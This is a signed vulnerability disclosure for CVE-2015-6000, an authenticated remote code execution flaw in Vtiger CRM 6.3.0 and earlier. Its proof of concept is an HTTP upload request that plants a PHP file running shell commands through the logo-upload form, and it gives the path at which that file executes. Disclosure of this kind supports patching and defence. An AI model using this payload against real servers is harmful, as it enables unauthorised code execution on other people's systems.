vTiger CRM 6.3.0 – (Authenticated) Remote Code Execution
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 # Exploit Title: Vtiger CRM <= 6.3.0 Authenticated Remote Code Execution # Date: 2015-09-28 # Exploit Author: Benjamin Daniel Mussler # Vendor Homepage: https://www.vtiger.com # Software Link: https://www.vtiger.com/open-source-downloads/ # Version: 6.3.0 (and lower) # Tested on: Linux (Ubuntu) # CVE : CVE-2015-6000 # Source: http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html === Description === Vtiger CRM's administration interface allows for the upload of a company logo. Instead of uploading an image, an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file. Detailed description: http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html === PoC === Through a specially crafted HTTP-POST request, a PHP file is stored on the server hosting the Vtiger CRM software: POST /index.php HTTP/1.1 Host: [...] Cookie: [...] Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------51732462825208 Content-Length: 2040 -----------------------------51732462825208 Content-Disposition: form-data; name="__vtrftk" [...] -----------------------------51732462825208 Content-Disposition: form-data; name="logo"; filename="2.php" Content-Type: image/jpeg <? system('id; uname -a; /sbin/ifconfig -a'); system('cat ../../vtigerversion.php'); ?> -----------------------------51732462825208 Content-Disposition: form-data; name="address" [...] The resulting PHP file can then be accessed at [Vtiger URL]/test/logo/2.php - -- Benjamin Daniel MUSSLER Ix-Xgħajra, Malta Tel (MT) +356 9965 3798 Karlsruhe, Germany Tel (DE) +49 721 989 0150 Web: https://FL7.DE PGP: https://FL7.DE/pgp/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.21 (MingW32) iQIcBAEBAgAGBQJWCVaeAAoJEAg0a3ng3v4f108P/0u+CUuUKSsSFiQt4S/HVAnw 5ykzNoZ/T1v0LUrItI1bZPeTyRr6VUandYclg68OM3VY0zc4x9161ScSlcnIitVO AasvEw7mGguAR4Pe2i84LpPNvE6Bi+MJqU6vnBqZVmQMXUY8k+Mb0ufM/DMByLPj dcozrAgI9ZQC3pnWiOPigD+gHe/AxY3Z1cxQLluOqBmMf7f3JXC+1dZt91EScuyi lHNtd6/uRtHJKqBG8MZMXnq49OxTk7iiqQmb393RizPL0eI8FumwaCXTDnLgRwX3 7XQfmg3sCzT1jPSQB4/UYciePPOS4EREjDA/RW5ydtGRCkZPvmjUlfaFMwTjlCd1 dpRIRlzDBWUCVFIqkp2TGkrkbckA1hnehH1q64sQ4KopdKl0tPJ8yLumVr2Uvwtq iLAbhQcn6+Cr9gctzOlrbj7BqY9uC0HfVdsl1qOCN5v3Yrbq7h/ToPnKGACLQN7t sALb61+vvriPimTVZD3AQg9t82G1brPHMzp+cLwjhYtw8b+2rohAA0JoUgBsCUHG 8dgnHI1K514soGkCDB4Mk2oM5W8T2tMsxvX/iQDH45IL3hYrROnWUnW+Fd3hA3ks VsqaNpaDEm+allop6OH3PETs6rGsLyaspCJBdkqKqxNOS6XE+lScrBVxzNL4VJL2 i8fbvZ/RIkuBT0Z79hUV =gMXq -----END PGP SIGNATURE----- |